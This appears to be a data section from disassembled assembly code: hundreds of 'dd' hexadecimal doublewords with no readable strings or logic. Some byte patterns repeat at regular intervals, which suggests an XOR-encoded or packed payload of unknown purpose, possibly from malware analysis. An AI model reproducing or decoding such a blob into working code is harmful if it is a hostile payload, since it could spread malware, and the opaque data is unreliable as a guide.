		dd 87063D15h, 5279B937h, 95B180DBh, 42443581h, 0D5B13283h
		dd 0EAB0BF59h, 9C443256h, 0BAB1325Eh, 8CE72A75h, 0EA1DB2B7h
		dd 50303D00h, 0A4B13256h, 0D5B133DBh, 243ACB56h, 75B120BFh
		dd 83B61D56h, 4305E5DBh, 8101AD65h, 9FB08C36h, 539C9A2Eh
		dd 0D5BFDB03h, 2D043256h, 0B60005C4h, 0B8980A26h, 0AC0812E7h
		dd 5073B336h, 37DD490Bh, 43798D59h, 0D5B13253h,	927933E8h
		dd 14D069FEh, 47AA0A9h,	53583581h, 31B13256h, 0D6F95B70h
		dd 350C572Ah, 0B60C9A3Eh, 0EB353DEDh, 8CB13256h, 0BC333D0Bh
		dd 3DB13256h, 54278930h, 587F1937h, 0ABB133D9h,	0C46CA56h
		dd 0EAB138BFh, 0CA32C56h, 0F76D0E2Dh, 3213792h,	0AEAEBC59h
		dd 0D1BE3256h, 0ABB1324Fh, 0D5B126BFh, 0A8984A56h, 6E7EAD4Eh
		dd 7D974797h, 0C2A6C65Bh, 0EBFA9C22h, 0AFCCB1D3h, 68343D57h
		dd 0DAB13256h, 0EAB125D7h, 75A3DB56h, 0C66D3256h, 0DEF20360h
		dd 0DD678F3Bh, 812001Ah, 0E939DEDDh, 6ED17BE6h,	0B7A0BA22h
		dd 75B0B459h, 0DB483256h, 5A3C3DFCh, 0A1B13256h, 57B133D0h
		dd 24BECA56h, 0D5B1324Fh, 0EAB126BFh, 7C84C756h, 0D7911786h
		dd 54C93DDAh, 6B2AC70Bh, 0C47AAFD1h, 0A409544Ah, 0DB3D3DD3h
		dd 3B13256h, 75B1325Fh,	893F9218h, 0F753AB59h, 561A541Dh
		dd 57B13EBFh, 0CF1C0B56h, 82A5B6A9h, 0E561E1F1h, 33073DAAh
		dd 3DBEC757h, 5DB13249h, 0AEA8B359h, 43583256h,	0E0B13256h
		dd 0DD5CFF32h, 0E404545Ch, 4CF642AEh, 0DAF00D1Bh, 0F640D9C6h
		dd 0AE0BDBAEh, 50583256h, 1EB13256h, 5D0B1CB4h,	97328906h
		dd 0F0BE30AEh, 0BAB132F7h, 5DAFB259h, 2DBE3256h, 57B1324Eh
		dd 0ABB121BFh, 13275C56h, 8577193Ah, 5000F3E9h,	812162A1h
		dd 0DC1DD92Bh, 67BA8A30h, 62F88D36h, 523A3231h,	0DA1A5437h
		dd 0EAB138D5h, 75B4DB56h, 0E9993256h, 3B7C9604h, 0A1353DEEh
		dd 57B120D6h, 0ABBCDB56h, 7C5A3256h, 3F39E7EAh,	2FA4523Ah
		dd 0DC4420D4h, 5DA1DBFDh, 9A533256h, 7E7FDC3Eh,	0D021229Eh
		dd 0FF6EECD3h, 5CBE8981h, 15483310h, 783AC1DDh,	53589937h
		dd 76B13256h, 8E537C90h, 0A2AF38C6h, 0A0EBD4DDh, 0EABBDB37h
		dd 0FDBE3256h, 0BAB13257h, 0A815C1AAh, 2CBEF5DDh, 57B1325Eh
		dd 0ABB3BA59h, 0B4D13256h, 8AE8CA0Dh, 0D25BB330h, 0DAEF53F9h
		dd 2C898B30h, 2E57B330h, 0D6D15358h, 1EB1A596h,	0AF7FB35Ah
		dd 8BDDA02Ch, 9B0B5209h, 0B5F90B3Ah, 5DB131D6h,	58063D56h
		dd 0D5BEFB37h, 0ABB1324Eh, 0D5A3BD59h, 0E7583256h, 0CDB13256h
		dd 96FECA15h, 0D654E4Ch, 45F04AC1h, 37B13A94h, 0CD0DEFD6h
		dd 0BC78C4D7h, 64BE6737h, 75B13245h, 56AB336h, 0B4E9482Bh
		dd 0AEB13250h, 0A6ECDF56h, 20D09EA4h, 0D8333DBAh, 8AB13256h
		dd 2B5DE5D7h, 0A50A3CFFh, 3C9CE12Fh, 0B2313D36h, 37B13256h
		dd 4266B930h, 0D5B13244h, 7136D1A5h, 34F99B19h,	32279A0Dh
		dd 2C4BEB8Ah, 47D0DE71h, 57B1325Eh, 45FBCACEh, 7788E00Eh
		dd 0EAB132BEh, 9F306856h, 0BD66C2B1h, 5DB126BFh, 0E0163E56h
		dd 9B052FA7h, 2F7AE219h, 6C99E486h, 1B85437Fh, 75BFDB5Dh
		dd 3E193256h, 91F54289h, 5E7A4EA9h, 81EB14h, 42B977DDh
		dd 0D5B1325Ch, 0DABC7980h, 50B619ADh, 3838B9DBh, 5A668C26h
		dd 0A8353D36h, 58B13256h, 0ABB132D9h, 0D5333D56h, 8BB13256h
		dd 75BADB37h, 7BA63256h, 1F6D490Fh, 541040DBh, 5F58FB3Fh
		dd 0D4B13256h, 0E825D26Ah, 28B86633h, 20493252h, 0B9383D36h
		dd 3BB13256h, 7D30F4DDh, 5DE66924h, 425DB937h, 0D5B1325Dh
		dd 9F3DA12Dh, 7B95FC55h, 391515EFh, 52D1CA92h, 0AEB134DAh
		dd 573A3D56h, 0A4B13256h, 20D0C2E1h, 0E13B3D36h, 9CB13256h
		dd 0BAB13250h, 0A89AC5Bh, 2BBE8CBDh, 57B13242h,	0ABBFBD59h
		dd 0DC583256h, 97B13256h, 0CE36F178h, 7A37B80Dh, 5DB132BEh
		dd 44306856h, 5066C385h, 0ABB138BFh, 2A941B56h,	1DE49EC9h
		dd 7ABAD0D6h, 0BAB12BD8h, 5DA5DB56h, 0DED73256h, 7A2180F3h
		dd 35255935h, 7428AE77h, 28B04A81h, 0B248A798h,	0BAB1CA13h
		dd 53583256h, 39B13256h, 57451A3Dh, 6D03F9A0h, 0E54E4216h
		dd 16F4F54Bh, 75B13256h, 0BAB13DBFh, 0A23E8056h, 0AF9F798Fh
		dd 0A0576C8Eh, 0C53DC40Dh, 0B349F265h, 0E6582CDDh, 30B13256h
		dd 360DB89Fh, 153F959Ah, 695AAADAh, 8071AFD4h, 0ABB13351h
		dd 0DB585256h, 63B13256h, 44C955A8h, 0E6C64A9Bh, 7E785EDAh
		dd 0AB373D98h, 31B13256h, 1E38C2D7h, 2E305437h,	6FBEA2C6h
		dd 75B13241h, 0BAB137BFh, 4A3E6856h, 0A658C206h, 0FCB13256h
		dd 937D5D0Bh, 55986613h, 6EBEDAADh, 75B13778h, 0BAB122BFh
		dd 0C0E71E56h, 0B78E6792h, 0D4D6AD96h, 0DA21D467h, 0DD3E3D2Bh
		dd 0E5B13256h, 75B130D5h, 0FAD05256h, 5DB0BF59h, 2E493256h
		dd 0D3BEDBADh, 0ABB136ACh, 0D5A5BB59h, 0E5583256h, 7FB13256h
		dd 0CE441E56h, 7C58BD9Ah, 0F9C8B423h, 0BEF17E64h, 0ABB1325Ch
		dd 0BF92B728h, 11A431FCh, 8E311508h, 7D353DBDh,	3DB13252h
		dd 0CEEE6136h, 43585337h, 94B13256h, 0A54F9A85h, 6F3DF17Bh
		dd 0AF5438Fh, 19EA3C1h,	3C9D2B35h, 4931CA16h, 57A5DBA6h
		dd 76813256h, 821FFA71h, 0AF238F47h, 104FA570h,	0C32FEE81h
		dd 5A58C029h, 0C7B13256h, 0A9D8A63Ah, 2AD79511h, 0DA313DADh
		dd 0EAB543D2h, 79323D56h, 0B5B13256h, 5DB134DCh, 0AE303D56h
		dd 54B13256h, 7AABA7D4h, 0B5F1CB51h, 0EAB13BBEh, 0D6644B56h
		dd 0F2F11CFEh, 52EA8BE8h, 2ED0E3E1h, 0D3BED0ADh, 0ABB13677h
		dd 0D5B0B559h, 6A4D3256h, 0F1BED1ADh, 0BAB131B3h, 3B568136h
		dd 0E925E0D7h, 0AC305437h, 2FBED131h, 0D5B131ABh, 0EAB123BFh
		dd 0FBC2EA56h, 0BDF809AAh, 0FBF1DE75h, 0F57425FCh, 0B431E3FAh
		dd 0A3363DA6h, 0DAB13256h, 0EAB130D2h, 0F5D05256h, 3EBE42ADh
		dd 5DB131B0h, 0AEB9B259h, 0DDBE3256h, 0ABB13254h, 5ED75336h
		dd 0FD3C3D48h, 7AB13256h
		dd 0BAB123D8h, 5DBDDB56h, 5A3256h, 0D9AF7BC6h, 287C78D7h
		dd 363107C1h, 0EAA1DBAEh, 0FD2E3256h, 44945C49h, 0AE77C5BDh
		dd 98DBA524h, 0AC31F451h, 0CB353DEEh, 3CB13257h, 0EAB13246h
		dd 9894951Fh, 84C7A966h, 0E911C6DEh, 0AFEF3FB7h, 58B40CD6h
		dd 0ABB070D2h, 0D4333D56h, 16B13256h, 7A9C0CD6h, 0BAB000D2h
		dd 5DB7DB56h, 0E7B03256h, 0FEB19FCBh, 0A4D90CD6h, 0D5B02CD2h
		dd 55BE5256h, 7AF1538Ch, 0BAB123D6h, 5DBDDB56h,	0C18F3256h
		dd 609232B1h, 0CA894AEEh, 574E8589h, 0ED66F2CBh, 3085436h
		dd 723A5489h, 0D6D7C737h, 0BB353D48h, 0BEB13256h, 0ABB13246h
		dd 0DC07D593h, 34064085h, 6E2331CFh, 86E141ECh,	0B449D5D6h
		dd 0AEB13247h, 83DD9B6Dh, 0CE4DF296h, 82D7FE6Bh, 0D61628CFh
		dd 8E30541Eh, 3EBEDAD7h, 5DB132F9h, 0A4086436h,	8AF374Fh
		dd 0EC2B8B30h, 0CB3A5437h, 0FD0E5436h, 0C2BE62C5h, 3AD06C89h
		dd 5258C2B1h, 96B13256h, 1CEC1D75h, 0FE376BD4h,	1EE030DFh
		dd 6BD7EB21h, 7A71B3ADh, 0BAB140D2h, 9F3A5256h,	0CED0B7E1h
		dd 57BDB959h, 24BE3256h, 0D5B13250h, 0EAB1B059h, 8DE43256h
		dd 47AA0A9h, 0D6BE3581h, 0AEB13243h, 0B50D8D36h, 0A35900F5h
		dd 0CEB13256h, 30213BA3h, 2C639078h, 42486F37h,	0B44D77DFh
		dd 0AEB13247h, 93684C57h, 0E23D1587h, 3B102C64h, 0EDD70E93h
		dd 0F6445360h, 0B5B0CE2Bh, 5DB679D3h, 0AEB8DB56h, 234F3256h
		dd 6E9F7529h, 5EA2FB2Ah, 3BA753ECh, 0FFD1C751h,	0BAA3DB8Eh
		dd 35033256h, 200ADEFAh, 3125342h, 0EA5A3289h, 0DB4CE042h
		dd 6AD16237h, 79593781h, 53B13256h, 0CD6F6E5Fh,	1ADA714Fh
		dd 583B7194h, 0ABB132D8h, 5ED06A56h, 3D71AFD4h,	7B343D51h
		dd 0DAB13256h, 5DB137BFh, 0FCDC0456h, 0A03A0418h, 9B8D0B37h
		dd 0D5B9BD59h, 65BE3256h, 75B13254h, 0B5E95336h, 5DB7F9D4h
		dd 0AEBCDB56h, 99C23256h, 0AEE45882h, 0C2809091h, 61834A44h
		dd 0A4A653ECh, 0BB3E3D51h, 0A1B13256h, 82373D06h, 37B13256h
		dd 0ABB120BEh, 75577356h, 0FBB799A0h, 0E6DCC368h, 92783168h
		dd 6B59564h, 0AEB13FBFh, 5E1BCA56h, 509304C9h, 0D6DB006Bh
		dd 61D05603h, 0A271AFD4h, 8688CB51h, 57595266h,	59B13256h
		dd 0E523CAC6h, 9C111FB1h, 1D3054F9h, 54EBC60Ah,	2A7916D5h
		dd 0B5D15237h, 5059E1E1h, 98B13256h, 115F6243h,	0FA593693h
		dd 2A6CCA07h, 60BE5308h, 75B13250h, 0BAB1B259h,	5D03256h
		dd 0A897BD59h, 0DC483256h, 7C0F56ECh, 62BE5251h, 0EC393D8Eh
		dd 7AB13256h, 0BAB132D6h, 4E585356h, 0C3B13256h, 39569FACh
		dd 4811ABEBh, 0BCB7F34h, 0A8F15AF0h, 0F732D55Fh, 0BD668C32h
		dd 6A38CA42h, 0BEF6BBAEh, 543A3D36h, 0A4B13256h, 5DBEC2E9h
		dd 0EAB13250h, 75B1B359h, 0EAD03256h, 0E2408936h, 70307895h
		dd 29715EBh, 3633B937h,	3CB6E596h, 0EAB13244h, 402D0CEh
		dd 43CB1448h, 6CEE9B5Ah, 469DD75Ch, 4358F83Fh, 39B13256h
		dd 7CA28E69h, 0FBFBAF02h, 8D78816Ch, 1E55E0B3h,	0D60077F9h
		dd 46D1024Ah, 57B13258h, 759A56CFh, 0CA8622F3h,	0BA419B51h
		dd 0EB031B65h, 9901520Dh, 5DB1B259h, 0CFD03256h, 838CA0Eh
		dd 2049525Eh, 8C58538Eh, 0E5B13253h, 75B133D5h,	0ECD1CA56h
		dd 823A6BAEh, 56F4F537h, 57B13254h, 0ABB13FBFh,	88E91D56h
		dd 97FE9D18h, 334E2401h, 9D580152h, 52B13256h, 0AEB13ADAh
		dd 0D2BE5256h, 0ABB13256h, 2DF4F537h, 0EAB13257h, 0C2BE52AFh
		dd 0BC3F3DA5h, 52B13256h, 0AEB132DAh, 0ED3A5356h, 0AC668C32h
		dd 0D5B134BFh, 0EC502D56h, 0F609C4A9h, 6D0F56D4h, 0D3BE2651h
		dd 0AEB13242h, 57BFBE59h, 0A2583256h, 42B13256h, 8E519E0Ah
		dd 0D8AFB456h, 0BC313D36h, 52B13256h, 0AEB132D3h, 60385356h
		dd 0ABA4BC59h, 0C5583256h, 0E8B13256h, 2EBCBE7Dh, 87C8CE42h
		dd 31B6DE6Eh, 27ED952Ch, 0D6BE2211h, 0ABB13245h, 0D5B13CBFh
		dd 3A77F056h, 899A60AEh, 0A3471CF0h, 0DE673AEFh, 2BBE31AEh
		dd 57B13201h, 0ABA7BA59h, 0C4583256h, 0E8B13256h, 76BE0F30h
		dd 9771A53Eh, 2AE0A485h, 8B9CD8D9h, 57B135BFh, 70D1856h
		dd 9BF25416h, 2A2CB091h, 75B33581h, 5D13256h, 2870904Ah
		dd 675AB330h, 655853EBh, 42B13256h, 0D5B13259h,	0CE07BA76h
		dd 0C8E23B60h, 0FF4D927Ah, 0DE7135B6h, 23BE30AEh, 57B13005h
		dd 0ABB13ABFh, 329FAB56h, 935DB8CFh, 0AC30529Bh, 0A9801B0Dh
		dd 0A5CCB137h, 0E353D56h, 0BEB13256h, 0ABB13247h, 0F278EAF4h
		dd 95FE73A2h, 0A82B249Eh, 0E4821D0Fh, 1B073DB9h, 0AEA2DB57h
		dd 0E94E3256h, 0F87CA870h, 8A781237h, 1A7D15C7h, 6394240Bh
		dd 0BA319BEBh, 0D8BE3256h, 0AEB13276h, 57B137BFh, 122FAE56h
		dd 29F129C1h, 3B4DAD5h,	75B13250h, 5E26AEA1h, 7658F91Dh
		dd 5BB13256h, 57B1CD7Bh, 0A13C3D56h, 0B5B13256h, 4770B330h
		dd 0A4063D84h, 0BF59B137h, 5B5952A3h, 0DB13256h, 61B2EFA2h
		dd 0F0D05278h, 985853AAh, 3B13256h, 75B13259h, 0D3DB52CDh
		dd 44A00932h, 0D7E70284h, 429A151h, 0ABAAB359h,	59BE3256h
		dd 0EAB13243h, 75B122BFh, 36D3C256h, 6CE16CECh,	241A2803h
		dd 0B242BD20h, 362BB9EDh, 2DB6E596h, 0E58236DDh, 75B133DDh
		dd 0DAEAC756h, 3C38DED6h, 0AEB132FFh, 0DC343DD6h, 0CBB13256h
		dd 0AAB2B7ECh, 8BD1613Ch, 0B3B25309h, 0BAB120BFh, 0FCF93B56h
		dd 0BD56EAA6h, 2143717Ch, 48CAB451h, 56BC34D9h,	0E4583796h
		dd 41B13256h, 2A87EFEFh, 66B623B7h, 0A20BD8FCh,	0CA3331F6h
		dd 0A4B6E596h, 0D5B133D5h, 0E158CE56h, 1CB13256h, 0E27AEBEh
		dd 0F4791A19h, 0A1F9D055h, 57B12BD6h, 0B8343D56h, 3CB13256h
		dd 0EAB13258h, 97CAE5BCh, 0F0580412h, 74ACF6F3h, 0E9385A6Bh
		dd 1038CB5Eh, 0AA3F3D5Ah, 29B13256h, 0EAB3A5BFh, 0AD46CE56h
		dd 0BAB120BFh, 77883856h, 0CD5419B7h, 6137DA75h, 0BACD1F1Dh
		dd 0FE513702h, 0E2373D90h, 7AB13256h, 0BAB130DCh, 0AAD05256h
		dd 6E32CB8Eh, 57A5DB53h, 3CCC3256h, 529F4BE9h, 2A9150AAh
		dd 2969ED4Ah, 28232A89h, 0DFB2AC82h, 0A966F2CBh, 58D17AAAh
		dd 0ABB130D1h, 0B3D05256h, 8BD9B8ECh, 89B975DFh, 0BAB13FBFh
		dd 2477AF56h, 0D08BB841h, 4F43F70Ah, 0EC388A79h, 0D5BFDB5Ah
		dd 16CA3256h, 9C03E6C0h, 5CF34578h, 0C11B0F75h,	0AEA6B959h
		dd 45583256h, 84B13256h, 1F777E91h, 0EA0A8C6Ch,	294FEEE1h
		dd 51603213h, 5C5BDB36h, 0A3583256h, 92B13256h,	9CFDF4A0h
		dd 0DFF619EDh, 0BCD64EEDh, 75B0BA59h, 894D3256h, 0DCD75296h
		dd 0CF84129Ch, 37B074DCh, 0A44EF4D6h, 0D5B137D2h, 0F6F48A56h
		dd 0DDD033DBh, 5A343DD6h, 3DB13256h, 7755B2AEh,	0BFE35237h
		dd 0ABB13250h, 27F61146h, 0B2EE3744h, 75A3B259h, 0B7583256h
		dd 7AB13256h, 957E8D2Bh, 624C31C4h, 8623A757h, 2C773137h
		dd 0E5B3F2D5h, 75B133D4h, 0BB0ACE56h, 3DB13256h, 5F305405h
		dd 0DCEBCE31h, 70BA5388h, 0D589B659h, 6BBE3256h, 75B13257h
		dd 0B92BB8AAh, 3DB6E481h, 2CBE83E6h, 57B13254h,	2BD05336h
		dd 0D05833B5h, 0E5B13256h, 0E217555Ah, 0BABDBA59h, 0DDBE3256h
		dd 0AEB13250h, 57B1B259h, 68B23256h, 0D5A5B859h, 0E5583256h
		dd 0FDB13256h, 23C852B6h, 1A2F30F2h, 28297351h,	10380B30h
		dd 0EC38CE5Eh, 5ED7525Ah, 2D0E5488h, 845853B1h,	0DAB13256h
		dd 5DB134BFh, 97148356h, 58DDD085h, 0ABB123D4h,	0D5BDDB56h
		dd 216B3256h, 4D820350h
		dd 853EC0C4h, 0AAD002C5h, 0B83B3D8Eh, 37B13256h, 0ABB13FBFh
		dd 0B7DF4056h, 6B94E13Ch, 0ECE4E461h, 7B3BFBDEh, 5D4E1737h
		dd 0BF583256h, 24B13256h, 7F7EC084h, 0E4225CF3h, 0FB6405C0h
		dd 5B1DD0C5h, 0BABAB059h, 0DCD13256h, 981F4091h, 0A5063D58h
		dd 0A4771937h, 0D5B126D0h, 0E43D3D56h, 9CB13256h, 0BAB1325Fh
		dd 3D4009D2h, 0CD7BCB36h, 0AF69C548h, 0A4B3F2D5h, 0D5B12BD2h
		dd 0FB585256h, 0E6B13256h, 0DE18B149h, 20680B2Dh, 77C81227h
		dd 0E44A6A6Bh, 0EC3853A3h, 0D4393D5Eh, 1FB13256h, 759FB959h
		dd 53D13256h, 5DB13258h, 0D1E19E7Ah, 85D9AA55h,	0BB553CBFh
		dd 0C158316Ah, 8BB13256h, 0AA88AB92h, 88A94D49h, 74176361h
		dd 6D50E006h, 369FE976h, 53BD75DFh, 440A52AEh, 6AC5BF33h
		dd 14D00C89h, 0BAAABB59h, 0D1BE3256h, 0AEB13243h, 57B122BFh
		dd 8C73C256h, 0C83C071h, 28BF6D96h, 0D6A2873h, 0DA78CB93h
		dd 676FB330h, 0AEBADB0Eh, 0FFB13256h, 22771FD3h, 0D965FCBh
		dd 8A7253C2h, 0C6668D59h, 0DAE453C0h, 0B13A53AAh, 590A5436h
		dd 9332530Fh, 0A4D1CAAAh, 0D5B13AD8h, 0B2E75256h, 87BC8A30h
		dd 0BAB1DA37h, 0DCEB3256h, 794C62BCh, 5F333D51h, 0A4B13256h
		dd 0D5B130DCh, 8AD05256h, 0BD3054AEh, 31D0C12Dh, 8A0F73ECh
		dd 24BE5251h, 57B13255h, 0A476B930h, 0E6D0F4E9h, 0EB3A3D9Fh
		dd 8CB13256h, 0B5B10DD5h, 5DB5A2D2h, 0A93ACB56h, 960E3D36h
		dd 0ABB5B859h, 6CD73256h, 15D02566h, 0F2BE3E23h, 0BAB1325Ah
		dd 5DB7B859h, 28BE3256h, 57B13256h, 0CBB947A9h,	0B188C5D7h
		dd 61D767ADh, 15E15381h, 0BD095400h, 0B5D06CECh, 0AEB13B74h
		dd 587139AEh, 0ABB17DD3h, 0D2353D56h, 0E5B13256h, 75B133DBh
		dd 3AD1CB56h, 0D6E05AB5h, 25D06997h, 47585251h,	18B13256h
		dd 0E983553Eh, 0FB4A34F3h, 91B2990Fh, 0DC89A2E1h, 857C4D7h
		dd 0AEF5DB37h, 0DDBE3256h, 0ABB13246h, 0D5B8DB36h, 88BA3256h
		dd 1ECF3133h, 0DB145577h, 0B4A5F5D5h, 0AEB1325Ch, 0D7F333AEh
		dd 918E1251h, 9058EF87h, 34ECDA9h, 75B13247h, 0A0B4242Bh
		dd 3DE0D6Dh, 0A9BFB8A5h, 97A2B778h, 0EE38CA9Fh,	0C75952AAh
		dd 65B13256h, 0DAFDEC36h, 0C8993BABh, 0E7EDF798h, 0C342C558h
		dd 8D0E3D7Bh, 0CA458409h, 0B5BD47A9h, 7178B330h, 75BBDB54h
		dd 6C563256h, 52591013h, 0D05D852h, 5FC4CD37h, 5786CDAFh
		dd 0D5B967BEh, 0EABDDB56h, 0FC263256h, 0C179F86Ah, 253F25CBh
		dd 6EBADBE8h, 5780B659h, 2AD13256h, 0DF448E84h,	253A5420h
		dd 76E6DB37h, 37BE3256h, 5DB1324Dh, 8543B336h, 0BE9DF814h
		dd 0ABB13258h, 0F7C9909Ah, 0E36FD54Bh, 0B100CC1Dh, 31D0FC3Fh
		dd 0AD1CE13h, 0AEB139BEh, 0B5411956h, 6A1B528Dh, 8E8CA8A0h
		dd 3D3A6B08h, 75BCDB37h, 0DBD13256h, 51688461h,	0E9E299DFh
		dd 6EF183F4h, 0A9333D51h, 0B5B13255h, 0EAB13EBFh, 55C5FB56h
		dd 0D76459B4h, 0E1AF7579h, 0EB4E5316h, 44373DAAh, 42B13256h
		dd 0D5B13258h, 0D3218C37h, 0BEC87006h, 9CEDC389h, 2232280Eh
		dd 2ABE3252h, 57B13215h, 0ABB8DA36h, 76C13256h,	9C462943h
		dd 7AD40E24h, 0DCE8EDE9h, 0A14FC3D7h, 0A2CEB137h, 77353D56h
		dd 0A4B13256h, 0D5B126D7h, 0EABEDB56h, 0E503256h, 0C098B2D2h
		dd 6F234A24h, 602841EFh, 578ADBB4h, 134D3256h, 2A4ECDA9h
		dd 0EAB120BFh, 0CAC37956h, 0B6909C3Ch, 0A88E9327h, 11B9DAD3h
		dd 0EE56BBF6h, 0ABB13253h, 13305436h, 61D701AEh, 0DE4253A1h
		dd 441FDBAAh, 0D5BECDA9h, 0AEB13257h, 47CEB1AEh, 0F8353D53h
		dd 29B13256h, 0FACEB1AFh, 2B343D50h, 53B13256h,	5DB13251h
		dd 618790BCh, 160FF49Eh, 0ABB122BFh, 6356F756h,	5DC3E15Fh
		dd 0E7B2AB88h, 0EAC2884Dh, 59F6B96Ah, 0A2EEB9AAh, 57B7B859h
		dd 1CD13256h, 0B49A8298h, 0EAB0A7BFh, 73585256h, 0E0B13256h
		dd 24214C70h, 0E93A53BFh, 83AC752h, 4209525Ah, 55B1692Ch
		dd 3D0EB95h, 75B13339h,	0BEF6B9AEh, 51EEB9A3h, 0B73F3DA3h
		dd 0BEB13256h, 0ABB13242h, 840CC4FCh, 451BDCBAh, 467497Dh
		dd 0E9C3E59Dh, 6C4466Ah, 0A1B96D6Dh, 57B1BED3h,	88045256h
		dd 87D0C5DDh, 0BD3ACEAEh, 75BDDB52h, 499A3256h,	0F7FBFE17h
		dd 17620C35h, 29AD6A4h,	0CE075246h, 0B4D0CE36h,	8AA56755h
		dd 144B8D59h, 53BD6DDDh, 5DB1325Fh, 9AB5F3BEh, 0AE3BC64Ch
		dd 0CB6B192Ah, 12A9F8D7h, 65BE0E69h, 75B13254h,	39D05336h
		dd 4E5837BDh, 48B13256h, 0D6FA3821h, 231364Bh, 0F6A974DDh
		dd 95D21319h, 2F48E1EAh, 0BAB6B459h, 3BD13256h,	513DE8D7h
		dd 57C9DB37h, 0AD583256h, 6EB13256h, 0C8158B1Bh, 71F6B9C7h
		dd 1D4C8836h, 57587855h, 0E7B13256h, 5CB6937Fh,	5610CD31h
		dd 8A3A53CDh, 0E0313D5Ah, 15B13256h, 32BE6905h,	5DB13256h
		dd 0AAEE1937h, 57B13EBFh, 0BACA8E56h, 4688D78Fh, 0F968051Ch
		dd 705AB182h, 0BAB123BFh, 0BF02F56h, 0BF33614Eh, 697ECE74h
		dd 6CFA72F1h, 5FB2868Eh, 0ED60276Bh, 75B9B359h,	30BE3256h
		dd 5DB13254h, 0D1325336h, 0D2BE3146h, 0ABB1326Dh, 0D5B121BFh
		dd 37770B56h, 23BA6ABBh, 0EA40B9A4h, 54C0B69Ch,	3C4AFB62h
		dd 57B8DB17h, 10403256h, 0C892344Bh, 0E5A65768h, 75B13CD9h
		dd 0BAB8DB56h, 0B8663256h, 0B709BC01h, 7CE7438Dh, 0F738CA8Fh
		dd 0DB583357h, 0F2B13256h, 0FDA48C5Ah, 745F1C3h, 0AF685681h
		dd 514E8A92h, 0EE48CDA9h, 0ABB13253h, 163152AFh, 83054D2h
		dd 86D0DAAAh, 0BABCDBFDh, 526C3256h, 0DAB398F5h, 17FC9235h
		dd 42AEBF27h, 2A4ECE2Ah, 0EABBB659h, 70583256h,	15B13256h
		dd 60AA99E7h, 0AEB13EBFh, 0C410CF56h, 2846ACE4h, 0D8E8E957h
		dd 65BE5390h, 75B1325Ch, 0BAB137BFh, 790D5056h,	0A1784A82h
		dd 57B138DFh, 13095256h, 0B3D3C3EBh, 28D0E3DDh,	204D3246h
		dd 0BAB0B059h, 0D6483256h, 0AEB4DBBAh, 5613256h, 4263D3E5h
		dd 0D5B1325Bh, 0DF445D0Ah, 5594E25Fh, 0C2BEBE3Bh, 0A175B15Fh
		dd 0AEBBDB36h, 0A2BD3256h, 0C3F3EB02h, 53793D0Ah, 8AD0F4DDh
		dd 75B13BBFh, 8570B756h, 9C4BFB83h, 46485970h, 57B13256h
		dd 315BB30Ch, 0B5B6EA54h, 0E7B6FCD7h, 863A7603h, 0BAA0DB37h
		dd 96BC3256h, 0FCBEB4F5h, 0C03DE77Eh, 0DF96A42h, 5E9868F4h
		dd 3D0F73ECh, 6D383D51h, 53B13256h, 5DB13245h, 8D0E3329h
		dd 0E18F4EF2h, 76C20F94h, 5AC2D52Eh, 0D98A1540h, 4A32C79Fh
		dd 48353D56h, 0B4B13255h, 0AEB1325Ah, 0B2EE8FFAh, 0FBD2D639h
		dd 2F57199Ah, 8AB6B9AFh, 75B3B359h, 0E3E33256h,	3B4CB836h
		dd 1150F3D7h, 224E5337h, 0DE4ECA5Ah, 0D5BBDB5Eh, 0AA5C3256h
		dd 0C0494B07h, 4EB9A5B6h, 0E6D75206h, 0A05850F8h, 83B13256h
		dd 0C202E849h, 0E3A45645h, 0E77F780Eh, 0DE595323h, 0DAB13255h
		dd 0E4FB930h, 0CFEB56E3h, 0D2BEF25Dh, 0ABB13216h, 0D5B126BFh
		dd 0E6350556h, 86248A9Ch, 236ED15Dh, 34BC4844h,	0CBC3BBB3h
		dd 37B6B945h, 51E78830h, 0D5B135BFh, 0F6833556h, 0EF5894C7h
		dd 0BAFDDB37h, 55583256h, 9FB13256h, 2AC0A2B0h,	5745044Fh
		dd 0B5A5F5D5h, 10B01FE9h, 75A5DA57h, 0AA33256h,	46BB958Eh
		dd 0F24C4E4h, 0A97E8E6Dh, 0BD70783Bh, 930EDEE7h, 0B58ED6C4h
		dd 8AADDB37h, 0B158CDA9h, 30B13256h, 8C2B7F54h,	32401421h
		dd 0EE383386h, 0DB5952AAh, 39B13256h, 0D15FECE4h, 5C795D4Fh
		dd 40C2CFDFh, 0AE3D3D98h, 0EB13256h, 42D0F9DDh,	0D5B13251h
		dd 0BA11821Ch, 8AFCF395h
		dd 33BE3E23h, 5DB13257h, 0A6C4CDAEh, 3786CDA3h,	0CD418D59h
		dd 3DD0F8DDh, 0EAB13084h, 0FED75236h, 0BABCDB80h, 4DA13256h
		dd 781134DEh, 0B5876D6Eh, 0CA0B6567h, 0B47EB936h, 0E5713937h
		dd 75B109D2h, 0BAB6DB56h, 9A313256h, 6BCE30A1h,	5536DB65h
		dd 0B9583256h, 0BDB13256h, 80A8CBB7h, 9A1187EEh, 5DFE8B70h
		dd 474DED76h, 0A3353DFAh, 37B13256h, 1218DFECh,	0D5383D11h
		dd 8BB13256h, 7A4D77DDh, 0BAB123D0h, 5DBDDB56h,	1E623256h
		dd 3898EDE5h, 7C7F06CEh, 0D288B229h, 0E88AB059h, 8A443256h
		dd 3944CE13h, 52B13629h, 0AEB172D2h, 57B7DB56h,	49093256h
		dd 0B47EF7C5h, 0E6CEB1AAh, 5F353D56h, 0DAB13256h, 5DF77EECh
		dd 0AC3B3D4Ch, 0B13256h, 0E358530Eh, 0B5B13256h, 0EA323D07h
		dd 2AB13256h, 0B5D0F8DDh, 5DB136D0h, 0CFD15256h, 0A84E8A37h
		dd 124DCDA9h, 0D5B13253h, 0EAB13BBFh, 69CE3156h, 83850B3Ah
		dd 0F642EE7Ah, 0AEBABB59h, 51583256h, 99B13256h, 31153900h
		dd 1450DB10h, 0F648CDA9h, 0B5B42229h, 5DB14BD2h, 0D132CB56h
		dd 0D2BE3446h, 0ABB132E9h, 0D33A3D36h, 0E5B13256h, 75B132D1h
		dd 3FBE6156h, 5DB13256h, 0A1F0530Dh, 57B12CD0h,	0B3333D56h
		dd 3CB13256h, 0EAB13245h, 84295012h, 936B2FF1h,	192DE44Ah
		dd 5151BF6Eh, 0AFFFB576h, 42B575DDh, 0D5B13245h, 8BE19CFDh
		dd 0A17D7951h, 22B4CEB6h, 7AB2EE9Ch, 25F060C8h,	0DFBE3E09h
		dd 0ABB13257h, 0D43F3DAEh, 1FB13256h, 75B1FFBFh, 0FD3AC756h
		dd 4B3E3D52h, 0CEB13256h, 57B13CBEh, 71444056h,	43466C7h
